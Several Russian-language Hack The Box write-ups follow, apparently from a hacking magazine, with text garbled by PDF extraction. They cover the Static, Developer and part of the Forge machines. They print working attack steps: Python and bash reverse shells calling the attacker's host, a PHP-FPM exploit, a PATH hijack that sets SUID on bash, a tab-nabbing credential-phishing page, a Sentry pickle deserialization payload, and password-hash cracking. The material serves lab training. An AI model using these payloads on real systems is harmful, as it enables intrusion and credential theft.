мание, так как на зах вачен ном хос те исполь зует ся 192.168.254.2.

Вы вод коман ды ifcong

Тог да я решил прос каниро вать най ден ный адрес и ата ковать уже сер висы
на нем. Для удоб ного и быс тро го ска ниро вания сна чала заг рузим на хост
Nmap, а затем прой дем ся по всем пор там.

scp  -P2222 -i id_rsa ~/tools/linStaticbins/nmap www-data@static.htb:/
tmp/nmap 

2000 ./nmap --min-rate= -p- 192.168.254.3 

Ре зуль тат ска ниро вания пор тов

В ито ге находим еще один веб. Для работы с уда лен ным хос том через
локаль ный нам нуж но тун нелиро вать тра фик. Давай про кинем дан ный порт, то
есть сде лаем так, что бы весь тра фик, который про ходит через опре делен ный
порт локаль ной машины, рет ран сли ровал ся на дан ный порт целево го хос та.
Дела ем это с помощью стан дар тно го SSH.

ssh  -i id_rsa -N -L 8000:192.168.254.3:80 www-data@static.htb -p2222

Та ким обра зом, все зап росы к пор ту 8888 локаль ного хос та 127.0.0.1 будут
пересы лать ся на порт 80 хос та 192.168.254.3 через SSH-соеди нение хос та

. Поп робу ем обра тить ся к сай ту с локаль ной машины. Для это го

выпол ним зап рос через бра узер по адре су .

static.htb
http://127.0.0.1:8000/

Глав ная стра ница сай та

Тун нель работа ет, но вот толь ко никако го понят ного сер виса мы не получа ем.
При тес тирова нии такого веба всег да сто ит взгля нуть на исполь зуемые тех- 
нологии, получить которые мож но ути литой .whatweb

Ре зуль тат ска ниро вания whatweb

Из всей информа ции наибо лее инте ресен заголо вок ,

по которо му опре делим вер сию , что натал кива ет на мысль
о поис ке экс пло итов.

X-Powered-By
PHP FPM/7.1

Справка: поиск готовых эксплоитов
При пен тесте луч ше все го искать экс пло иты при помощи Google, пос коль ку
этот поис ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче ты. Уско- 
рят дело спе циали зиро ван ные базы вро де  — там час то мож но
обна ружить под ходящие вари анты. Если ты работа ешь в спе циали зиро ван- 
ной ОС вро де , то эта база у тебя уже есть и для поис ка мож но
исполь зовать ути литу .

Exploit-DB

Kali Linux
searchsploit

Чу до-ути лита  никаких записей не наш ла, а вот Google зна ет
боль ше.

searchsploit

Так, погуг лив «exploit PHP-FPM», получа ем мно жес тво упо мина ний CVE-
2019-11043. Если крат ко, то стро ка 1140 в  содер жит манипу ляции
с ука зате лями, которые пред полага ют, что у  есть пре фикс,

рав ный пути к скрип ту на PHP. Тем не менее код не про веря ет, выпол няет ся
ли это, из-за чего ста новит ся воз можен дос туп к невер ному ука зате лю
в перемен ной .

fpm_main.c
env_path_info

path_info
Зап росив URL, офор млен ный опре делен ным обра зом, ата кующий может

добить ся сме щения ука зате ля  на пер вый байт струк туры

, а запись нуля в этот байт при ведет к переме щению ука зате- 
ля  на ранее иду щую область памяти. Вызыва емый сле дом

 переза пишет дан ные в этой памяти зна чени ем, которое кон тро- 

лиру ет ата кующий. Так мы можем ука зать, к при меру, на зна чения дру гих
перемен ных FastCGI. Записав свои дан ные, ата кующий может соз дать фик- 
тивную перемен ную , что при ведет к выпол нению про изволь ного

кода.

path_info
_fcgi_data_seg

char* pos
FCGI_PUTENV

PHP_VALUE

 есть на GitHub. Пос ле пер вого запус ка он сооб щает
нам, что ата ка выпол нена и мы можем переда вать коман ды через параметр .

Ра бочий экс пло ит
a

python3 main.py -u http://127.0.0.1:8000/index.php 

Вы пол нение экс пло ита

curl 'http://127.0.0.1:8000/index.php?a=whoami'

Вы пол нение коман ды whoami

Так как коман ды выпол няют ся немед ленно, кинем реверс-шелл.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

Лис тенер при дет ся откры вать на «прок си-хос те», поэто му заг рузим на него
.netcat

scp  -P2222 -i id_rsa ~/tools/linStaticbins/ncat www-data@static.htb:/
tmp/ncat 
chmod +x /tmp/ncat 
/tmp/ncat 

Пос ле того как лис тенер будет акти виро ван, переда дим сле дующий
реверс-шелл в качес тве зна чения парамет ра  через бра узер. Это поможет

обой тись без вся ких кодиро вок наг рузки.

a

 python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM);s.connect(("192.168.254.2",4321));subprocess.
call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.
fileno())'

Поч ти мгно вен но получим бэк коннект.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

За пус каем через веб-при ложе ние и про буем най ти еще что-нибудь свя зан- 
ное с ним.

 find / -name *ersatool* 2>/dev/null 

По иск фай лов ersatool

Мы наш ли исходни ки при ложе ния. Я ско пиро вал их и открыл в VS Code
для более удоб ного ана лиза. Сра зу пос ле стар та фун кция  про веря ет

аргу мен ты. Самая инте рес ная из команд — . Она при водит к вызову
фун кции  (стро ки 253–254).

main
create

createCN

Ис ходный код при ложе ния — фун кция main

В этой фун кции выпол няет ся зап рос поля  (стро ки 99-102), а затем исполь- 
зует ся  для генери рова ния сер тифика та (стро ки  ++114-117).++

Вот толь ко в при ложе нии кон тек ста работы прог раммы меня ется на при виле- 
гиро ван ный (стро ка 123) перед выпол нени ем фун кции  (стро ка 125).

CN
rasyrsa 94-96,

system

Ис ходный код при ложе ния — фун кция createCN

Я решил прос мотреть все дей ствия, которые про исхо дят в сис теме
при генери рова нии сер тифика та. Проб лема была лишь в заг рузке фай лов,
так как в сис теме нет ни curl, ни wget. Но есть Python! Так, на пер вом «прок- 
си-хос те» я помес тил файл с содер жимым  и запус тил веб-сер вер

коман дой . А затем исполь зовал сле дующий
скрипт для получе ния это го фай ла.

testtest
python3 -m http.server 8000

 python3 -c 'import urllib.request; response = urllib.request.urlopen(
"http://192.168.254.2:8000/test.sh"); data = response.read() ; text 
= data.decode("utf-8"); print(text)'

Заг рузка фай ла

Те перь заг рузим на «прок си-хост»  — при ложе ние для монито рин га

запус каемых в сис теме про цес сов.

pspy

scp  -P2222 -i id_rsa ./pspy64 www-data@static.htb:/home/www-data/
pspy64 

За тем закоди руем его в Base64, что бы не потерять никакие дан ные при заг- 
рузке через Python.

 base64 -w0 pspy64 > pspy64.b64 

Сле дом на целевом хос те заг рузим файл с закоди рован ным в Base64 содер- 
жимым, декоди руем, дадим пра ва на выпол нение и запус тим.

 

 

python3 -c 'import urllib.request; response = urllib.request.urlopen(
"http://192.168.254.2:8000/pspy64.b64"); data = response.read() ; 
text = data.decode("utf-8"); print(text)' > pspy64.b64 

  cat pspy64.b64 | base64 -d > pspy64 
chmod +x pspy64 
./pspy64 

А теперь в дру гом окне запус тим тес тиру емое при ложе ние и соз дадим сер- 
тификат.

Соз дание сер тифика та

Пос ле окон чания работы прос мотрим логи pspy. Рас смат рива ем каж дую
коман ду, которая была выпол нена во вре мя работы тес тиру емо го при ложе- 
ния.

Ло ги pspy

Сре ди выпол ненных прог рамм обна ружим запуск OpenSSL. Исполь зован ный
спо соб ее вызова уяз вим, так как путь к исполня емо му фай лу ука зан не абсо- 
лют ный. Таким обра зом, в ход всту пает перемен ная сре ды окру жения .

Сис тема будет искать файл  по поряд ку в каж дой дирек тории, ука зан- 

ной в этой перемен ной.

PATH
openssl

Мы можем соз дать файл с име нем , содер жащий любые коман ды.
Мы добавим его каталог в перемен ную  так, что бы эта дирек тория была

пер вой в спис ке. Тог да при вызове OpenSSL из нашего при ложе ния получим
выпол нение наших команд в при виле гиро ван ном кон тек сте!

openssl
PATH

В качес тве выпол няемой наг рузки исполь зуем уста нов ку бита SUID фай лу
коман дной обо лоч ки .bash

  echo '#!/bin/bash' > openssl 
  echo 'chmod u+s /bin/bash' >> openssl

chmod 777 openssl 

Соз дание фик тивно го фай ла OpenSSL

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип тами.

Те перь изме ним перемен ную , ука зав в ней текущую дирек торию.PATH

export PATH=/tmp/ralf:$PATH

Пе реза пись перемен ной PATH

Сге нери руем сер тификат. Пос ле чего про верим, уста нов лен ли S-бит фай лу
.bash

Ге нери рова ние сер тифика та

Про вер ка прав на файл /bin/bash

По лучи лось! Теперь прос то запус тим .bash

 python3 -c 'import pty; pty.spawn("/bin/bash")'
/bin/bash -p

Флаг рута

Мы зах ватили пол ный кон троль над машиной и заб рали флаг рута.

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/urbanadventurer/WhatWeb
https://www.exploit-db.com/
https://www.kali.org/
https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1140
https://github.com/huowen/CVE-2019-11043
https://github.com/DominicBreuker/pspy
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ВЗЛОМ

В этой статье я покажу, как взла мыва ют
сай ты на Django. Кро ме того, мы сни мем
пароль с фай ла XLS и при меним фишин- 
говую ата ку Tab Nabbing. Для повыше ния
при виле гий раз берем алго ритм прог раммы
на Rust. Все это — что бы прой ти слож ную
машину Developer с пло щад ки 

.
Hack

The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.103    developer.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим два откры тых пор та: 22, на котором работа ет SSH, и 80, отве чающий
за веб.

Справка: брутфорс учеток
Пос коль ку вна чале у нас нет учет ных дан ных, нет и смыс ла изу чать служ бы,
которые всег да тре буют авто риза ции (нап ример, SSH). Единс твен ное, что мы
можем делать здесь, — это переби рать пароли брут форсом, но у машин
с HTB поч ти всег да есть дру гое про хож дение. В жиз ни таких вари антов может
не быть, к тому же име ются шан сы подоб рать пароль или получить его
при помощи соци аль ной инже нерии.

На чина ем, конеч но же, с веба!

Глав ная стра ница сай та

Нас встре чает сайт какой-то CTF-пло щад ки. Прос мотрев его содер жимое,
обна ружим воз можность регис тра ции и авто риза ции, но, что при меча тель но,
нет ни одно го фай ла на PHP. Воз можно, это фрей мворк на Python? Что бы
про верить догад ку, прос каниру ем скры тые дирек тории в кор невом катало ге
сай та.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Ко ман да получа ется сле дующая:

ffuf  256 -u http://developer.htb/FUZZ -t -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания катало гов

В выводе будет очень мно го катало гов, которые воз вра щают код 301 —
редирект. Если перей ти по любому из них, то нас встре тит админка фрей- 
мвор ка Django.

Па нель авто риза ции Django

Боль ше ничего не най дя, регис три руем ся на пер вом сай те.

Глав ная панель поль зовате ля

На самом сай те лежит по два-три тас ка из раз ных катего рий, но мой инте рес
прив лекла стра ница с нас трой ками про филя поль зовате ля. Ска ниру ем тек- 
сто вые поля, но это не дает резуль тата. Может, поп робу ем сдать любой
из тас ков? Это может открыть что-то новое. Я решил прос мотреть задание
на форен зику . Как ска зано в усло вии задания, где-то
в фай ле есть пароль.

phished_credentials

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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XLS sheet protect unlock

От кры ваем файл и видим скры тый стол бец . Раз дви нуть стол бцы не выходит,

так как лист докумен та защищен паролем от изме нения.

E

Со дер жимое докумен та phished_credentials.xls

Но такую защиту мож но лег ко снять. Откро ем как архив и най дем в нем нас- 
трой ки для нуж ного лис та. Так как тут он толь ко один, нам нужен файл

.sheet1.xml

Со дер жимое архи ва

В этом фай ле най дем и уда лим сле дующую стро ку. Это поле
.sheetProtection

  

  
   

<sheetProtection algorithmName="SHA-512" hashValue=
"Y4Ko7kZUKStIxaVGWEtuMeRdnCiN7O3D8qZtKdo/2jP7WE6yzKQXUcSWQ/
E0OrqHCzhOBFX+t8Db5Pxaiu+N1g==" saltValue="EoiHQklf0FagPs+iW0OzkA=="
spinCount="100000" sheet="1" objects="1" scenarios="1"/>

По ле sheetProtection

Пе ресох ранив файл и открыв документ, обна ружи ваем, что защиты боль ше
нет. Раз дви гаем стол бец  и получа ем флаг для пло щад ки.E

Флаг для задания

Ос талось передать его в фор му на сай те.

От прав ка фла га

Пос ле обновле ния стра ницы ее вид нем ного меня ется, вмес то кноп ки сда чи
отве та появ ляет ся кноп ка отправ ки решения.

Стра ница чел лен джа

При чем не через заг рузку фай ла, а ука зыва ется URL стра ницы.

Фор ма заг рузки решения

Tab Nabbing

Я открыл локаль ный веб-сер вер Python 3 (коман да 

) и отпра вил ссыл ку . В логах веб-сер- 

вера видим обра щение к ука зан ной стра нице. Это мес то для тес та!

python3 -m http.server
80 http://10.10.14.59/writeup.html

Ло ги веб-сер вера

Ко все му про чему решение отоб ража ется на стра нице про филя.

Про филь текуще го поль зовате ля

Вот толь ко если попытать ся прос мотреть его, оно откро ется в новой вклад ке.
В исходном коде стра ницы находим атри бут  в теге target="_blank" .<a>

Ис ходный код стра ницы

Ког да аргу мент  тега  с атри бутом  нам под кон тро- 

лен и целевой поль зователь может перей ти по ссыл ке, есть шанс ука зать там
фишин говый сайт. Как толь ко поль зователь наж мет ссыл ку, с помощью объ- 
екта  мы перенап равля ем его на наш вре донос ный ресурс,

который будет содер жать клон легитим ной стра ницы авто риза ции. Это дол- 
жно зас тавить поль зовате ля вбить свои учет ные дан ные. Эта тех ника фишин- 
га называ ется Tab Nabbing.

href <a> target="_blank"

window.opener

Соз дадим в катало ге веб-сер вера файл  со сле дующим
содер жимым.

writeup.html

<html>
<script>

  if (window.opener) window.opener.parent.location.replace('http://10.
10.14.59/login.html');

    if (window.parent != window) window.parent.location.replace('http://
10.10.14.59/login.html');
</script>
</html>

Этот код дол жен открыть стра ницу  на нашем сер вере. Теперь

кло ниру ем стра ницу авто риза ции на сай те. Для это го я исполь зую рас- 
ширение  для бра узе ра Firefox, поз воля ющее сох ранить всю стра- 
ницу в еди ном HTML-фай ле.

login.html

SingleFile

Сох раним файл как  и нем ного изме ним его код. Ука зыва ем

атри буты  и .

login.html
action="auth.php" method="get"

Ис ходный код фишин говой стра ницы

Те перь сно ва отпра вим решение задания и в логах веб-сер вера уви дим его
зап рос, затем перенап равле ние на  и отправ ку учет ных дан ных

на .

login.html
auth.php

Ло ги веб-сер вера

Эти учет ные дан ные поз воля ют авто ризо вать ся в админке Django.

Па нель адми нис три рова ния Django

Продолжение статьи →
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Прой дем ся по раз делам, что бы извлечь всю полез ную информа цию. Тут мы
можем получить спи сок поль зовате лей и сай тов.

Спи сок поль зовате лей

Спи сок сай тов

Так как мы получи ли новое домен ное имя, сра зу добавим его 

Теперь наша запись будет выг лядеть так:

в ./etc/hosts

. . .     .  - . .10 10 11 103 developer htb developer sentry developer htb

А на самом сай те Sentry нас встре тит фор ма авто риза ции.

Фор ма авто риза ции Sentry

У нас есть пароль адми нис тра тора одно го сер виса, высока веро ятность, что
этот пароль подой дет и тут. Воп рос лишь в име ни поль зовате ля. Логин 
ока зал ся невер ным; если впи сать пол ную поч ту 

или , тоже ничего не получа ем. Но у адми нис тра тора

ука зано имя . Про буем поч ту  и получа ем дос туп
к сай ту.

admin
admin@developer.htb

admin@developer.ctf
James james@developer.htb

Глав ная стра ница сай та

Вни зу видим номер вер сии Sentry — 8.0.0. Это не самая новая, поэто му сто ит
поис кать готовые экс пло иты. Так Google при водит нас на Exploit-DB, а точ- 
нее — к .экс пло иту для вер сии 8.2.0

По иск экс пло итов

Экс пло ит отра баты вает, но ничего не дает.

   
   

python3 50318.py --url 'http://developer-sentry.developer.htb' -U
'jacob@developer.htb' -P 'SuperSecurePassword@HTB2021' -l 10.10.14.
59 -p 4321 

За пуск экс пло ита

По это му про буем вруч ную.

Sentry RCE

Sentry исполь зует модуль pickle, нуж ный для сери али зации и десери али зации
дан ных Python. Это может помочь добить ся выпол нения кода, но сна чала нам
нужен сек ретный ключ Django. Его мож но получить, соз дав и уда лив про ект:
Create Project → Add Project → Save Project → Project Setting → Remove Project.

Create New Project

Congure your application

Project settings

Remove project

И мы получим нуж ные кон фигура ции. Про лис таем до пун кта 
и сох раним сек ретный ключ (параметр ).

SENTRY_OPTIONS
system.secret-key

Па рамет ры SENTRY_OPTIONS

Имея сек ретный ключ, мы можем исполь зовать сле дующий PoC для соз дания
и сери али зации объ екта, который выпол нит нуж ный нам код. Все, что нуж но
в нем изме нить, — это зна чения  и . В качес тве наг рузки

исполь зуем реверс-шелл 
.

SECRET_KEY cookie
/bin/bash -c "bash -i >& /dev/tcp/10.10.14.

59/4321 0>&1"

#!/usr/bin/python
  import django.core.signing, django.contrib.sessions.serializers

   from django.http import HttpResponse
 import cPickle
 import os

SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913'
cookie='.
eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQoZRBnmmGUlB
bq7FhVFcAEFSlKLS5Lz87MzU8FayvOLslNTQoXiE0tLMuJLi1OL4pMSk7NT81JClSDG6Z
WWZOYU64Hk9VxzEzNzHIEsJ6gaXiR9mSnerKV6AOVwM6Y:
1n8lto:4YBeYgMOt1ujubTsANFkmRr3fw4'

   newContent = django.core.signing.loads(cookie,key=SECRET_KEY,
serializer=django.contrib.sessions.serializers.PickleSerializer,salt=
'django.contrib.sessions.backends.signed_cookies')

 class PickleRce(object):
   def __reduce__(self):

       return (os.system,('/bin/bash -c "bash -i >& /dev/tcp/10.10.
14.59/4321 0>&1"',))

  newContent['testcookie'] = PickleRce()

 print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=
django.contrib.sessions.serializers.PickleSerializer,salt='django.
contrib.sessions.backends.signed_cookies',compress=True)

Соз дание новых cookie

Ак тивиру ем на сво ем локаль ном хос те лис тенер.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

apt sudo install rlwrap 

В качес тве самого лис тенера при этом мож но исполь зовать широко извес- 
тный netcat.

Ко ман да будет сле дующей:

 nc rlwrap -cAr -lvnp 4321 

Встав ляем новые cookie, обновля ем стра ницу и в окне лис тенера получа ем
бэк коннект.

По луче ние бэк конек та

Продолжение статьи →

https://www.exploit-db.com/exploits/50318
https://github.com/hanslub42/rlwrap
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Пер вым делом получа ем удоб ную TTY-обо лоч ку с помощью Python:

 python -c 'import pty;pty.spawn("/bin/bash")'

При прод вижении самый веро ятный спо соб сме нить рабочий кон текст —
это авто ризо вать ся от име ни дру гого поль зовате ля. Так как у нас даже два
сай та на хос те, нам сто ит поис кать учет ные дан ные в их базах. Преж де чем
шер стить базу, най дем учет ные дан ные для под клю чения к этой базе. В слу-
чае с пер вым сай том это файл 

.

/var/www/developer_ctf/developer_ctf/
settings.py

Спи сок фай лов сай та developer_ctf

Со дер жимое фай ла settings.py

Те перь под клю чим ся к базе c помощью  — ути литы коман дной стро ки

для работы с PostgreSQL.

psql

psql postgresql://ctf_admin:CTFOG2021@localhost:5432/platform 

Пос ле под клю чения взгля нем на спи сок таб лиц, для это го исполь зует ся
коман да .\dt

Спи сок таб лиц

Нас инте ресу ет таб лица , из которой получим логины и пароли.auth_user

   select username,password from auth_user;

Учет ные дан ные поль зовате лей сай та Developer CTF

Но с эти ми учет ными дан ными ниг де залоги нить ся не получи лось. Тог да изу- 
чим Sentry. Нас трой ки для под клю чения к базе дан ных хра нят ся в фай ле 

./etc/sentry/sentry.conf.py

Со дер жимое фай ла sentry.conf.py

Опять под клю чаем ся к базе и прос матри ваем сущес тву ющие таб лицы.

psql postgresql://sentry:SentryPassword2021@localhost:5432/sentry 
t \d

Спи сок таб лиц

Вновь получа ем учет ные дан ные из таб лицы .auth_user

   select username,password from auth_user;

Учет ные дан ные плат формы Sentry

Сох раня ем хеши в файл и отправ ляем на перебор с помощью .hashcat

hashcat -m 10000 hashes.txt rockyou.txt 

Ре зуль тат перебо ра хешей

Спус тя нес коль ко минут мы получа ем один пароль, с которым уда ется авто- 
ризо вать ся по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом про веря ем наибо лее веро ятные мес та повыше ния при виле- 
гий. Это могут быть нас трой ки sudoers, при ложе ния с битом SUID, прос- 
лушива емые на локаль ном хос те пор ты. Нам везет с sudoers.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ки судо ера

В нас трой ках sudoers про писан при виле гиро ван ный запуск поль зователь ско- 
го при ложе ния . Узна ем тип фай ла с помощью
ути литы .

/root/.auth/authenticator
file

Прос мотр типа фай ла

Это исполня емый файл, который при запус ке поп росит пароль. Ска чива ем
файл на локаль ный хост:

scp karl@developer.htb:/root/.auth/authenticator ./ 

За киды ваем его для ана лиза в любой удоб ный дизас сем блер. На этот раз я
решил поп робовать Ghidra.

INFO

Под робнее о Ghidra:
«

»
• Ghidra vs IDA Pro. На что спо собен бес плат ный

тул кит для ревер са, соз данный в АНБ
«

»
• Ghidra vs crackme. Обка тыва ем кон курен та IDA

Pro на при мере решения хит рой крэк ми с VM

При поис ке фун кции  я понял, что прог рамма написа на на язы ке Rust,
а это усложня ет ана лиз.

main

По иск фун кции main

От кры ваем в деком пилято ре най ден ную фун кцию  и в

ней находим точ ку, где зап рашива ется пароль.

authentication::main

Псев докод зап роса пароля поль зовате ля

Чуть ниже находим исполь зование шиф рования ( ), а имен- 

но алго ритм AES, режим CTR.

crypto::aes::ctr

Блок шиф рования стро ки

И еще ниже видим сооб щение об успешной аутен тифика ции.

Блок кода пос ле про вер ки пароля

Та ким обра зом, вве ден ная нами стро ка будет срав нивать ся с про обра зом
сох ранен ных в прог рамме зашиф рован ных дан ных. Поп робу ем най ти все
парамет ры, необ ходимые для шиф рования (стро ка, ключ, век тор ини циали- 
зации), и рас шифро вать пароль. Из докумен тации узна ем аргу мен ты фун кции

.crypto::aes::ctr

Опи сание фун кции crypto::aes::ctr

То есть сна чала переда ется ключ, а потом век тор ини циали зации. Изме нив
име на перемен ных, лег ко най дем их в коде.

Блок шиф рования дан ных

А нуж ная нам стро ка сох ранена в перемен ной . Исполь зуя все дан ные

и суперинс тру мент , мы можем рас шифро вать дан ные и пароль.

__ptr
CyberChef

Рас шифров ка дан ных из прог раммы

Ис поль зуем этот пароль в при ложе нии. Про вер ка прой дена, нас про сят ука- 
зать ключ SSH (генери руем коман дой ).ssh-keygen

Экс плу ата ция при ложе ния authenticator

Те перь мы можем авто ризо вать ся с при ват ным клю чом и заб рать флаг рута.

Флаг рута

Мы зах ватили машину и име ем над ней пол ный кон троль!

https://xakep.ru/2019/03/20/nsa-ghidra/
https://xakep.ru/2019/03/21/ghidra-vs-crackme/
https://gchq.github.io/CyberChef
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ЭКСПЛУАТИРУЕМ SSRF
ДЛЯ ДОСТУПА К КРИТИЧЕСКОЙ

ИНФОРМАЦИИ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы с тобой прой дем сред нюю
по слож ности машину с пло щад ки 

 под наз вани ем Forge. Про экс плу- 
ати руем уяз вимость SSRF в фор ме заг- 
рузки фай лов и через эту уяз вимость
получим дан ные с локаль ного FTP-сер вера.
А осложнять все это будут филь тры адре сов
на сто роне сер вера.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.111    forge.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Мы наш ли три откры тых пор та, один из которых филь тру ется:
порт 21 — служ ба FTP (филь тру ется);•
порт 22 — служ ба OpenSSH 8.2p1;•
порт 80 — веб-сер вер Apache 2.4.1.•

Так как FTP недос тупен, а SSH про бивать смыс ла нет, перехо дим к тес- 
тирова нию сай та на веб-сер вере. Пер вым делом осмотрим ся в поис ке точек
вхо да.

Глав ная стра ница сай та

Нас встре чает галерея. В вер хнем пра вом углу сай та находим ссыл ку на фор- 
му заг рузки фай лов. Файл мож но заг рузить на сер вер дву мя путями: нап- 
рямую и через URL.

Фор ма заг рузки фай лов нап рямую

Фор ма заг рузки фай лов через URL

Пер вая мысль — заг рузить шелл. Но сер вер при нима ет толь ко кар тинки,
и выпол нить встав ку кода не получи лось. В сер висах, где фай лы заг ружа ются
через URL, сто ит про верить наличие уяз вимос ти SSRF.

Справка: SSRF
SSRF — это ата ка на сер вер, в резуль тате которой зло умыш ленник получа ет
воз можность отправ лять зап росы от име ни ском про мети рован ного хос та.
SSRF может быть исполь зована в DoS-кам пани ях для мас киров ки реаль ного
источни ка ата ки. В таких слу чаях уяз вимый хост выс тупа ет в качес тве прок- 
си-сер вера.

Для тес та SSRF ука зыва ем адрес 127.0.0.1. Но получа ем сооб щение о том,
что зап рос заб локиро ван, так как URL вклю чен в чер ный спи сок.

Со обще ние о бло киров ке

Тог да воз никла идея поис кать дру гие точ ки — прос каниро вать сайт на пред- 
мет скры того кон тента.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

ffuf  403  300 -u http://forge.htb/FUZZ -fc -t -w directory_2.3_medium.
txt 

Ре зуль тат ска ниро вания катало гов

Сре ди катало гов ничего нового не наш ли. Тог да прос каниру ем под домены.
Это может открыть новые сай ты для ата ки. Исполь зуем тот же ffuf, а переби- 
рать будем зна чение заголов ка .HOST

ffuf    302  300 -u http://forge.htb/ -H "Host: FUZZ.forge.htb" -fc -t -w
subdomains-top1million-110000.txt 

Ре зуль тат ска ниро вания под доменов

На ходим новый сайт, который добав ляем в файл :/etc/hosts

10.10.11.111    admin.forge.htb 

Прав да, он дос тупен толь ко для обра щения с локаль ного хос та.

От вет сер вера при обра щении к admin.forge.htb

